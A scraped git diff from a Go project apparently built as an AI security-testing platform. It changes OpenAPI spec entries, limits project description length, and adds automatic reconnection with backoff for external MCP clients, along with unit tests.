h.persistEinoAgentTraceForResume(prep.ConversationID, result)
|
h.persistEinoAgentTraceForResume(prep.ConversationID, result)
|
||||||
}
|
}
|
||||||
|
|||||||
+50
-36
@@ -2,10 +2,8 @@ package handler
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"net/http"
|
"net/http"
|
||||||
"time"
|
|
||||||
|
|
||||||
"cyberstrike-ai/internal/database"
|
"cyberstrike-ai/internal/database"
|
||||||
"cyberstrike-ai/internal/storage"
|
|
||||||
|
|
||||||
"github.com/gin-gonic/gin"
|
"github.com/gin-gonic/gin"
|
||||||
"go.uber.org/zap"
|
"go.uber.org/zap"
|
||||||
@@ -15,17 +13,15 @@ import (
|
|||||||
type OpenAPIHandler struct {
|
type OpenAPIHandler struct {
|
||||||
db *database.DB
|
db *database.DB
|
||||||
logger *zap.Logger
|
logger *zap.Logger
|
||||||
resultStorage storage.ResultStorage
|
|
||||||
conversationHdlr *ConversationHandler
|
conversationHdlr *ConversationHandler
|
||||||
agentHdlr *AgentHandler
|
agentHdlr *AgentHandler
|
||||||
}
|
}
|
||||||
|
|
||||||
// NewOpenAPIHandler 创建新的OpenAPI处理器
|
// NewOpenAPIHandler 创建新的OpenAPI处理器
|
||||||
func NewOpenAPIHandler(db *database.DB, logger *zap.Logger, resultStorage storage.ResultStorage, conversationHdlr *ConversationHandler, agentHdlr *AgentHandler) *OpenAPIHandler {
|
func NewOpenAPIHandler(db *database.DB, logger *zap.Logger, conversationHdlr *ConversationHandler, agentHdlr *AgentHandler) *OpenAPIHandler {
|
||||||
return &OpenAPIHandler{
|
return &OpenAPIHandler{
|
||||||
db: db,
|
db: db,
|
||||||
logger: logger,
|
logger: logger,
|
||||||
resultStorage: resultStorage,
|
|
||||||
conversationHdlr: conversationHdlr,
|
conversationHdlr: conversationHdlr,
|
||||||
agentHdlr: agentHdlr,
|
agentHdlr: agentHdlr,
|
||||||
}
|
}
|
||||||
@@ -237,7 +233,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
|||||||
"status": map[string]interface{}{
|
"status": map[string]interface{}{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"description": "状态",
|
"description": "状态",
|
||||||
"enum": []string{"open", "closed", "fixed"},
|
"enum": []string{"open", "confirmed", "fixed", "false_positive", "ignored"},
|
||||||
},
|
},
|
||||||
"target": map[string]interface{}{
|
"target": map[string]interface{}{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
@@ -575,7 +571,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
|||||||
"status": map[string]interface{}{
|
"status": map[string]interface{}{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"description": "状态",
|
"description": "状态",
|
||||||
"enum": []string{"open", "closed", "fixed"},
|
"enum": []string{"open", "confirmed", "fixed", "false_positive", "ignored"},
|
||||||
},
|
},
|
||||||
"type": map[string]interface{}{
|
"type": map[string]interface{}{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
@@ -1344,7 +1340,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
|||||||
"delete": map[string]interface{}{
|
"delete": map[string]interface{}{
|
||||||
"tags": []string{"对话管理"},
|
"tags": []string{"对话管理"},
|
||||||
"summary": "删除对话",
|
"summary": "删除对话",
|
||||||
"description": "删除指定的对话及其所有相关数据(消息、漏洞等)。**此操作不可恢复**。",
|
"description": "删除指定的对话及其会话数据(消息、攻击链等)。**漏洞记录会保留**,仅解除与会话的关联。**此操作不可恢复**。",
|
||||||
"operationId": "deleteConversation",
|
"operationId": "deleteConversation",
|
||||||
"parameters": []map[string]interface{}{
|
"parameters": []map[string]interface{}{
|
||||||
{
|
{
|
||||||
@@ -5034,6 +5030,51 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
|||||||
},
|
},
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
|
"/api/config/list-models": map[string]interface{}{
|
||||||
|
"post": map[string]interface{}{
|
||||||
|
"tags": []string{"配置管理"},
|
||||||
|
"summary": "获取模型列表",
|
||||||
|
"description": "代理调用 OpenAI 兼容 GET /models,返回可用模型 id 列表。Claude 不支持。",
|
||||||
|
"operationId": "listModels",
|
||||||
|
"requestBody": map[string]interface{}{
|
||||||
|
"required": true,
|
||||||
|
"content": map[string]interface{}{
|
||||||
|
"application/json": map[string]interface{}{
|
||||||
|
"schema": map[string]interface{}{
|
||||||
|
"type": "object",
|
||||||
|
"required": []string{"api_key"},
|
||||||
|
"properties": map[string]interface{}{
|
||||||
|
"provider": map[string]interface{}{"type": "string", "description": "LLM提供商(openai/claude)", "example": "openai"},
|
||||||
|
"base_url": map[string]interface{}{"type": "string", "description": "API基地址(可选)"},
|
||||||
|
"api_key": map[string]interface{}{"type": "string", "description": "API密钥"},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
"responses": map[string]interface{}{
|
||||||
|
"200": map[string]interface{}{
|
||||||
|
"description": "获取结果",
|
||||||
|
"content": map[string]interface{}{
|
||||||
|
"application/json": map[string]interface{}{
|
||||||
|
"schema": map[string]interface{}{
|
||||||
|
"type": "object",
|
||||||
|
"properties": map[string]interface{}{
|
||||||
|
"success": map[string]interface{}{"type": "boolean"},
|
||||||
|
"supported": map[string]interface{}{"type": "boolean"},
|
||||||
|
"error": map[string]interface{}{"type": "string"},
|
||||||
|
"models": map[string]interface{}{"type": "array", "items": map[string]interface{}{"type": "string"}},
|
||||||
|
"count": map[string]interface{}{"type": "integer"},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
"400": map[string]interface{}{"description": "参数错误"},
|
||||||
|
"401": map[string]interface{}{"description": "未授权"},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
|
||||||
// ==================== 终端 ====================
|
// ==================== 终端 ====================
|
||||||
"/api/terminal/run": map[string]interface{}{
|
"/api/terminal/run": map[string]interface{}{
|
||||||
@@ -6354,35 +6395,8 @@ func (h *OpenAPIHandler) GetConversationResults(c *gin.Context) {
|
|||||||
vulnerabilities[i] = *v
|
vulnerabilities[i] = *v
|
||||||
}
|
}
|
||||||
|
|
||||||
// 获取执行结果(从MCP执行记录中获取)
|
// 获取执行结果(历史大结果由 Eino reduction 落盘,此处不再聚合文件存储)
|
||||||
executionResults := []map[string]interface{}{}
|
executionResults := []map[string]interface{}{}
|
||||||
for _, msg := range messages {
|
|
||||||
if len(msg.MCPExecutionIDs) > 0 {
|
|
||||||
for _, execID := range msg.MCPExecutionIDs {
|
|
||||||
// 尝试从结果存储中获取执行结果
|
|
||||||
if h.resultStorage != nil {
|
|
||||||
result, err := h.resultStorage.GetResult(execID)
|
|
||||||
if err == nil && result != "" {
|
|
||||||
// 获取元数据以获取工具名称和创建时间
|
|
||||||
metadata, err := h.resultStorage.GetResultMetadata(execID)
|
|
||||||
toolName := "unknown"
|
|
||||||
createdAt := time.Now()
|
|
||||||
if err == nil && metadata != nil {
|
|
||||||
toolName = metadata.ToolName
|
|
||||||
createdAt = metadata.CreatedAt
|
|
||||||
}
|
|
||||||
executionResults = append(executionResults, map[string]interface{}{
|
|
||||||
"id": execID,
|
|
||||||
"toolName": toolName,
|
|
||||||
"status": "success",
|
|
||||||
"result": result,
|
|
||||||
"createdAt": createdAt.Format(time.RFC3339),
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
response := map[string]interface{}{
|
response := map[string]interface{}{
|
||||||
"conversationId": conv.ID,
|
"conversationId": conv.ID,
|
||||||
|
|||||||
@@ -12,6 +12,16 @@ import (
|
|||||||
"go.uber.org/zap"
|
"go.uber.org/zap"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
const maxProjectDescriptionRunes = 4000
|
||||||
|
|
||||||
|
func clampProjectDescription(s string) string {
|
||||||
|
r := []rune(s)
|
||||||
|
if len(r) <= maxProjectDescriptionRunes {
|
||||||
|
return s
|
||||||
|
}
|
||||||
|
return string(r[:maxProjectDescriptionRunes])
|
||||||
|
}
|
||||||
|
|
||||||
// ProjectHandler 项目管理处理器。
|
// ProjectHandler 项目管理处理器。
|
||||||
type ProjectHandler struct {
|
type ProjectHandler struct {
|
||||||
db *database.DB
|
db *database.DB
|
||||||
@@ -48,7 +58,7 @@ func (h *ProjectHandler) CreateProject(c *gin.Context) {
|
|||||||
}
|
}
|
||||||
p := &database.Project{
|
p := &database.Project{
|
||||||
Name: strings.TrimSpace(req.Name),
|
Name: strings.TrimSpace(req.Name),
|
||||||
Description: req.Description,
|
Description: clampProjectDescription(req.Description),
|
||||||
ScopeJSON: req.ScopeJSON,
|
ScopeJSON: req.ScopeJSON,
|
||||||
Status: strings.TrimSpace(req.Status),
|
Status: strings.TrimSpace(req.Status),
|
||||||
}
|
}
|
||||||
@@ -184,7 +194,7 @@ func (h *ProjectHandler) UpdateProject(c *gin.Context) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
if req.Description != nil {
|
if req.Description != nil {
|
||||||
p.Description = *req.Description
|
p.Description = clampProjectDescription(*req.Description)
|
||||||
}
|
}
|
||||||
if req.ScopeJSON != nil {
|
if req.ScopeJSON != nil {
|
||||||
p.ScopeJSON = *req.ScopeJSON
|
p.ScopeJSON = *req.ScopeJSON
|
||||||
|
|||||||
@@ -30,3 +30,19 @@ func (h *AgentHandler) projectBlackboardBlock(conversationID string) string {
|
|||||||
}
|
}
|
||||||
return strings.TrimSpace(block)
|
return strings.TrimSpace(block)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// conversationProjectID 返回对话绑定的项目 ID;未绑定或查询失败时返回空字符串。
|
||||||
|
func (h *AgentHandler) conversationProjectID(conversationID string) string {
|
||||||
|
if h == nil || h.db == nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
conversationID = strings.TrimSpace(conversationID)
|
||||||
|
if conversationID == "" {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
projectID, err := h.db.GetConversationProjectID(conversationID)
|
||||||
|
if err != nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return strings.TrimSpace(projectID)
|
||||||
|
}
|
||||||
|
|||||||
@@ -190,6 +190,23 @@ func (c *lazySDKClient) Close() error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// markDisconnected 在检测到传输层断连时关闭底层 session,避免 IsConnected 仍返回 true。
|
||||||
|
func (c *lazySDKClient) markDisconnected() {
|
||||||
|
c.mu.Lock()
|
||||||
|
inner := c.inner
|
||||||
|
sessionCancel := c.sessionCancel
|
||||||
|
c.inner = nil
|
||||||
|
c.sessionCancel = nil
|
||||||
|
c.mu.Unlock()
|
||||||
|
if sessionCancel != nil {
|
||||||
|
sessionCancel()
|
||||||
|
}
|
||||||
|
if inner != nil {
|
||||||
|
_ = inner.Close()
|
||||||
|
}
|
||||||
|
c.setStatus("disconnected")
|
||||||
|
}
|
||||||
|
|
||||||
func (c *sdkClient) setStatus(s string) {
|
func (c *sdkClient) setStatus(s string) {
|
||||||
c.mu.Lock()
|
c.mu.Lock()
|
||||||
defer c.mu.Unlock()
|
defer c.mu.Unlock()
|
||||||
|
|||||||
@@ -0,0 +1,192 @@
|
|||||||
|
package mcp
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"errors"
|
||||||
|
"io"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
// externalReconnectMinInterval 两次自动重连之间的最短间隔
|
||||||
|
externalReconnectMinInterval = 30 * time.Second
|
||||||
|
// externalReconnectMaxBackoff 指数退避上限
|
||||||
|
externalReconnectMaxBackoff = 5 * time.Minute
|
||||||
|
)
|
||||||
|
|
||||||
|
// isConnectionDeadError 判断错误是否表示底层传输已断开(而非调用方主动取消或超时)。
|
||||||
|
func isConnectionDeadError(err error) bool {
|
||||||
|
if err == nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
if errors.Is(err, context.Canceled) || errors.Is(err, context.DeadlineExceeded) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
if errors.Is(err, io.EOF) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
s := strings.ToLower(err.Error())
|
||||||
|
return strings.Contains(s, "eof") ||
|
||||||
|
strings.Contains(s, "client is closing") ||
|
||||||
|
strings.Contains(s, "connection closed") ||
|
||||||
|
strings.Contains(s, "connection reset") ||
|
||||||
|
strings.Contains(s, "broken pipe")
|
||||||
|
}
|
||||||
|
|
||||||
|
// handleConnectionDead 在 ListTools/CallTool 等操作失败且判定为断连时,标记客户端并调度重连。
|
||||||
|
func (m *ExternalMCPManager) handleConnectionDead(name string, client ExternalMCPClient, err error) {
|
||||||
|
if !isConnectionDeadError(err) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
m.logger.Warn("检测到外部MCP连接已断开,将尝试自动重连",
|
||||||
|
zap.String("name", name),
|
||||||
|
zap.Error(err),
|
||||||
|
)
|
||||||
|
m.markClientDisconnected(name, client, err)
|
||||||
|
m.scheduleReconnect(name)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *ExternalMCPManager) markClientDisconnected(name string, client ExternalMCPClient, err error) {
|
||||||
|
if lazy, ok := client.(*lazySDKClient); ok {
|
||||||
|
lazy.markDisconnected()
|
||||||
|
}
|
||||||
|
m.mu.Lock()
|
||||||
|
if err != nil {
|
||||||
|
m.errors[name] = "连接已断开: " + err.Error()
|
||||||
|
}
|
||||||
|
m.mu.Unlock()
|
||||||
|
m.toolCountsMu.Lock()
|
||||||
|
m.toolCounts[name] = 0
|
||||||
|
m.toolCountsMu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *ExternalMCPManager) onClientConnected(name string) {
|
||||||
|
m.clearReconnectState(name)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *ExternalMCPManager) clearReconnectState(name string) {
|
||||||
|
m.reconnectMu.Lock()
|
||||||
|
delete(m.reconnectAttempts, name)
|
||||||
|
delete(m.reconnectLastTry, name)
|
||||||
|
delete(m.reconnecting, name)
|
||||||
|
m.reconnectMu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *ExternalMCPManager) reconnectBackoff(attempts int) time.Duration {
|
||||||
|
if attempts <= 0 {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
d := externalReconnectMinInterval
|
||||||
|
for i := 1; i < attempts && d < externalReconnectMaxBackoff; i++ {
|
||||||
|
d *= 2
|
||||||
|
}
|
||||||
|
if d > externalReconnectMaxBackoff {
|
||||||
|
return externalReconnectMaxBackoff
|
||||||
|
}
|
||||||
|
return d
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *ExternalMCPManager) scheduleReconnect(name string) {
|
||||||
|
m.mu.RLock()
|
||||||
|
cfg, exists := m.configs[name]
|
||||||
|
enabled := exists && m.isEnabled(cfg)
|
||||||
|
m.mu.RUnlock()
|
||||||
|
if !enabled {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
go m.tryReconnect(name)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *ExternalMCPManager) tryReconnect(name string) {
|
||||||
|
m.reconnectMu.Lock()
|
||||||
|
if m.reconnecting[name] {
|
||||||
|
m.reconnectMu.Unlock()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
attempts := m.reconnectAttempts[name]
|
||||||
|
if wait := m.reconnectBackoff(attempts); wait > 0 {
|
||||||
|
if last, ok := m.reconnectLastTry[name]; ok {
|
||||||
|
if elapsed := time.Since(last); elapsed < wait {
|
||||||
|
remaining := wait - elapsed
|
||||||
|
m.reconnectMu.Unlock()
|
||||||
|
m.scheduleReconnectAfter(name, remaining)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
m.reconnecting[name] = true
|
||||||
|
m.reconnectMu.Unlock()
|
||||||
|
|
||||||
|
defer func() {
|
||||||
|
m.reconnectMu.Lock()
|
||||||
|
delete(m.reconnecting, name)
|
||||||
|
m.reconnectMu.Unlock()
|
||||||
|
}()
|
||||||
|
|
||||||
|
m.mu.RLock()
|
||||||
|
cfg, exists := m.configs[name]
|
||||||
|
enabled := exists && m.isEnabled(cfg)
|
||||||
|
client, hasClient := m.clients[name]
|
||||||
|
connecting := hasClient && client.GetStatus() == "connecting"
|
||||||
|
m.mu.RUnlock()
|
||||||
|
|
||||||
|
if !enabled {
|
||||||
|
m.logger.Debug("跳过自动重连(外部MCP已停用)", zap.String("name", name))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if connecting {
|
||||||
|
m.logger.Debug("跳过自动重连(连接正在进行中)", zap.String("name", name))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
m.reconnectMu.Lock()
|
||||||
|
m.reconnectLastTry[name] = time.Now()
|
||||||
|
m.reconnectAttempts[name] = attempts + 1
|
||||||
|
attemptNum := m.reconnectAttempts[name]
|
||||||
|
m.reconnectMu.Unlock()
|
||||||
|
|
||||||
|
m.logger.Info("正在自动重连外部MCP",
|
||||||
|
zap.String("name", name),
|
||||||
|
zap.Int("attempt", attemptNum),
|
||||||
|
)
|
||||||
|
|
||||||
|
if err := m.startClient(name, true); err != nil {
|
||||||
|
m.logger.Warn("自动重连外部MCP失败",
|
||||||
|
zap.String("name", name),
|
||||||
|
zap.Error(err),
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// scheduleReconnectAfterFailure 在自动重连失败后,按当前退避间隔预约下一次重试。
|
||||||
|
func (m *ExternalMCPManager) scheduleReconnectAfterFailure(name string) {
|
||||||
|
m.mu.RLock()
|
||||||
|
cfg, exists := m.configs[name]
|
||||||
|
enabled := exists && m.isEnabled(cfg)
|
||||||
|
m.mu.RUnlock()
|
||||||
|
if !enabled {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
m.reconnectMu.Lock()
|
||||||
|
wait := m.reconnectBackoff(m.reconnectAttempts[name])
|
||||||
|
m.reconnectMu.Unlock()
|
||||||
|
m.logger.Info("自动重连失败,将按退避间隔再次尝试",
|
||||||
|
zap.String("name", name),
|
||||||
|
zap.Duration("after", wait),
|
||||||
|
)
|
||||||
|
m.scheduleReconnectAfter(name, wait)
|
||||||
|
}
|
||||||
|
|
||||||
|
// scheduleReconnectAfter 在 delay 后触发 tryReconnect(delay<=0 时立即执行)。
|
||||||
|
func (m *ExternalMCPManager) scheduleReconnectAfter(name string, delay time.Duration) {
|
||||||
|
if delay <= 0 {
|
||||||
|
go m.tryReconnect(name)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
time.AfterFunc(delay, func() {
|
||||||
|
m.tryReconnect(name)
|
||||||
|
})
|
||||||
|
}
|
||||||
@@ -0,0 +1,215 @@
|
|||||||
|
package mcp
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/config"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestIsConnectionDeadError(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
cases := []struct {
|
||||||
|
name string
|
||||||
|
err error
|
||||||
|
want bool
|
||||||
|
}{
|
||||||
|
{"nil", nil, false},
|
||||||
|
{"eof", io.EOF, true},
|
||||||
|
{"wrapped eof", fmt.Errorf("connection closed: %w", io.EOF), true},
|
||||||
|
{"client closing", errors.New(`calling "tools/list": client is closing: EOF`), true},
|
||||||
|
{"connection reset", errors.New("read tcp: connection reset by peer"), true},
|
||||||
|
{"canceled", context.Canceled, false},
|
||||||
|
{"deadline", context.DeadlineExceeded, false},
|
||||||
|
{"other", errors.New("invalid params"), false},
|
||||||
|
}
|
||||||
|
for _, tc := range cases {
|
||||||
|
tc := tc
|
||||||
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
if got := isConnectionDeadError(tc.err); got != tc.want {
|
||||||
|
t.Fatalf("isConnectionDeadError(%v) = %v, want %v", tc.err, got, tc.want)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestLazySDKClient_MarkDisconnected(t *testing.T) {
|
||||||
|
c := &lazySDKClient{status: "connected"}
|
||||||
|
c.inner = &sdkClient{status: "connected"}
|
||||||
|
c.markDisconnected()
|
||||||
|
if c.IsConnected() {
|
||||||
|
t.Fatal("expected disconnected after markDisconnected")
|
||||||
|
}
|
||||||
|
if c.GetStatus() != "disconnected" {
|
||||||
|
t.Fatalf("expected status disconnected, got %s", c.GetStatus())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestHandleConnectionDead_MarksLazyClientDisconnected(t *testing.T) {
|
||||||
|
logger := zap.NewNop()
|
||||||
|
m := NewExternalMCPManager(logger)
|
||||||
|
|
||||||
|
name := "dead-mcp"
|
||||||
|
cfg := config.ExternalMCPServerConfig{
|
||||||
|
Type: "http",
|
||||||
|
URL: "http://example.com/mcp",
|
||||||
|
ExternalMCPEnable: true,
|
||||||
|
}
|
||||||
|
m.mu.Lock()
|
||||||
|
m.configs[name] = cfg
|
||||||
|
client := newLazySDKClient(cfg, logger)
|
||||||
|
client.inner = &sdkClient{status: "connected"}
|
||||||
|
client.status = "connected"
|
||||||
|
m.clients[name] = client
|
||||||
|
m.mu.Unlock()
|
||||||
|
|
||||||
|
deadErr := errors.New(`connection closed: calling "tools/list": client is closing: EOF`)
|
||||||
|
m.handleConnectionDead(name, client, deadErr)
|
||||||
|
|
||||||
|
if client.IsConnected() {
|
||||||
|
t.Fatal("expected disconnected after handleConnectionDead")
|
||||||
|
}
|
||||||
|
if m.GetError(name) == "" {
|
||||||
|
t.Fatal("expected error message to be recorded")
|
||||||
|
}
|
||||||
|
counts := m.GetToolCounts()
|
||||||
|
if counts[name] != 0 {
|
||||||
|
t.Fatalf("expected tool count 0 after disconnect, got %d", counts[name])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestReconnectBackoff(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
if d := (&ExternalMCPManager{}).reconnectBackoff(0); d != 0 {
|
||||||
|
t.Fatalf("attempt 0: got %v", d)
|
||||||
|
}
|
||||||
|
if d := (&ExternalMCPManager{}).reconnectBackoff(1); d != externalReconnectMinInterval {
|
||||||
|
t.Fatalf("attempt 1: got %v", d)
|
||||||
|
}
|
||||||
|
if d := (&ExternalMCPManager{}).reconnectBackoff(10); d != externalReconnectMaxBackoff {
|
||||||
|
t.Fatalf("attempt 10: got %v, want cap %v", d, externalReconnectMaxBackoff)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestTryReconnect_RateLimited(t *testing.T) {
|
||||||
|
logger := zap.NewNop()
|
||||||
|
m := NewExternalMCPManager(logger)
|
||||||
|
|
||||||
|
name := "rate-limited"
|
||||||
|
m.reconnectMu.Lock()
|
||||||
|
m.reconnectLastTry[name] = time.Now()
|
||||||
|
m.reconnectAttempts[name] = 2
|
||||||
|
m.reconnectMu.Unlock()
|
||||||
|
|
||||||
|
m.tryReconnect(name)
|
||||||
|
|
||||||
|
m.reconnectMu.Lock()
|
||||||
|
attempts := m.reconnectAttempts[name]
|
||||||
|
m.reconnectMu.Unlock()
|
||||||
|
if attempts != 2 {
|
||||||
|
t.Fatalf("rate limited reconnect should not increment attempts, got %d", attempts)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestTryReconnect_SkipsWhenDisabled(t *testing.T) {
|
||||||
|
logger := zap.NewNop()
|
||||||
|
m := NewExternalMCPManager(logger)
|
||||||
|
|
||||||
|
name := "disabled-mcp"
|
||||||
|
m.mu.Lock()
|
||||||
|
m.configs[name] = config.ExternalMCPServerConfig{
|
||||||
|
Type: "http",
|
||||||
|
URL: "http://example.com/mcp",
|
||||||
|
ExternalMCPEnable: false,
|
||||||
|
}
|
||||||
|
m.mu.Unlock()
|
||||||
|
|
||||||
|
m.tryReconnect(name)
|
||||||
|
|
||||||
|
m.reconnectMu.Lock()
|
||||||
|
attempts := m.reconnectAttempts[name]
|
||||||
|
m.reconnectMu.Unlock()
|
||||||
|
if attempts != 0 {
|
||||||
|
t.Fatalf("disabled MCP should not increment reconnect attempts, got %d", attempts)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestTryReconnect_SkipsWhenConnecting(t *testing.T) {
|
||||||
|
logger := zap.NewNop()
|
||||||
|
m := NewExternalMCPManager(logger)
|
||||||
|
|
||||||
|
name := "connecting-mcp"
|
||||||
|
cfg := config.ExternalMCPServerConfig{
|
||||||
|
Type: "http",
|
||||||
|
URL: "http://example.com/mcp",
|
||||||
|
ExternalMCPEnable: true,
|
||||||
|
}
|
||||||
|
client := newLazySDKClient(cfg, logger)
|
||||||
|
client.setStatus("connecting")
|
||||||
|
|
||||||
|
m.mu.Lock()
|
||||||
|
m.configs[name] = cfg
|
||||||
|
m.clients[name] = client
|
||||||
|
m.mu.Unlock()
|
||||||
|
|
||||||
|
m.tryReconnect(name)
|
||||||
|
|
||||||
|
m.reconnectMu.Lock()
|
||||||
|
attempts := m.reconnectAttempts[name]
|
||||||
|
m.reconnectMu.Unlock()
|
||||||
|
if attempts != 0 {
|
||||||
|
t.Fatalf("connecting MCP should not increment reconnect attempts, got %d", attempts)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestStartClientAutoReconnect_SkipsWhenDisabled(t *testing.T) {
|
||||||
|
logger := zap.NewNop()
|
||||||
|
m := NewExternalMCPManager(logger)
|
||||||
|
m.stopRefresh = make(chan struct{})
|
||||||
|
|
||||||
|
name := "stopped"
|
||||||
|
m.mu.Lock()
|
||||||
|
m.configs[name] = config.ExternalMCPServerConfig{
|
||||||
|
Type: "http",
|
||||||
|
URL: "http://example.com/mcp",
|
||||||
|
ExternalMCPEnable: false,
|
||||||
|
}
|
||||||
|
m.mu.Unlock()
|
||||||
|
|
||||||
|
if err := m.startClient(name, true); err != nil {
|
||||||
|
t.Fatalf("startClient: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
m.mu.RLock()
|
||||||
|
cfg := m.configs[name]
|
||||||
|
_, hasClient := m.clients[name]
|
||||||
|
m.mu.RUnlock()
|
||||||
|
if cfg.ExternalMCPEnable {
|
||||||
|
t.Fatal("auto reconnect should not enable stopped MCP")
|
||||||
|
}
|
||||||
|
if hasClient {
|
||||||
|
t.Fatal("auto reconnect should not create client when disabled")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestOnClientConnected_ClearsReconnectState(t *testing.T) {
|
||||||
|
m := &ExternalMCPManager{
|
||||||
|
reconnectAttempts: map[string]int{"x": 3},
|
||||||
|
reconnectLastTry: map[string]time.Time{"x": time.Now()},
|
||||||
|
reconnecting: map[string]bool{"x": true},
|
||||||
|
}
|
||||||
|
m.onClientConnected("x")
|
||||||
|
|
||||||
|
m.reconnectMu.Lock()
|
||||||
|
defer m.reconnectMu.Unlock()
|
||||||
|
if len(m.reconnectAttempts) != 0 || len(m.reconnectLastTry) != 0 || len(m.reconnecting) != 0 {
|
||||||
|
t.Fatal("expected reconnect state cleared")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -15,6 +15,26 @@ import (
|
|||||||
"go.uber.org/zap"
|
"go.uber.org/zap"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
// externalToolListCacheTTL 已连接外部 MCP 的工具列表缓存有效期,避免每次 API 请求都打远程 ListTools。
|
||||||
|
externalToolListCacheTTL = 60 * time.Second
|
||||||
|
// externalToolCountRefreshInterval 后台刷新工具数量的间隔(仅刷新缓存过期或缺失的客户端)。
|
||||||
|
externalToolCountRefreshInterval = 60 * time.Second
|
||||||
|
)
|
||||||
|
|
||||||
|
// toolListCacheEntry 外部 MCP 工具列表缓存条目
|
||||||
|
type toolListCacheEntry struct {
|
||||||
|
tools []Tool
|
||||||
|
updatedAt time.Time
|
||||||
|
}
|
||||||
|
|
||||||
|
// listToolsInflight 合并同一 MCP 上并发的 ListTools 请求
|
||||||
|
type listToolsInflight struct {
|
||||||
|
done chan struct{}
|
||||||
|
tools []Tool
|
||||||
|
err error
|
||||||
|
}
|
||||||
|
|
||||||
// ExternalMCPManager 外部MCP管理器
|
// ExternalMCPManager 外部MCP管理器
|
||||||
type ExternalMCPManager struct {
|
type ExternalMCPManager struct {
|
||||||
clients map[string]ExternalMCPClient
|
clients map[string]ExternalMCPClient
|
||||||
@@ -26,14 +46,20 @@ type ExternalMCPManager struct {
|
|||||||
errors map[string]string // 错误信息
|
errors map[string]string // 错误信息
|
||||||
toolCounts map[string]int // 工具数量缓存
|
toolCounts map[string]int // 工具数量缓存
|
||||||
toolCountsMu sync.RWMutex // 工具数量缓存的锁
|
toolCountsMu sync.RWMutex // 工具数量缓存的锁
|
||||||
toolCache map[string][]Tool // 工具列表缓存:MCP名称 -> 工具列表
|
toolCache map[string]toolListCacheEntry // 工具列表缓存:MCP名称 -> 工具列表
|
||||||
toolCacheMu sync.RWMutex // 工具列表缓存的锁
|
toolCacheMu sync.RWMutex // 工具列表缓存的锁
|
||||||
|
listToolsMu sync.Mutex
|
||||||
|
listToolsInflight map[string]*listToolsInflight
|
||||||
stopRefresh chan struct{} // 停止后台刷新的信号
|
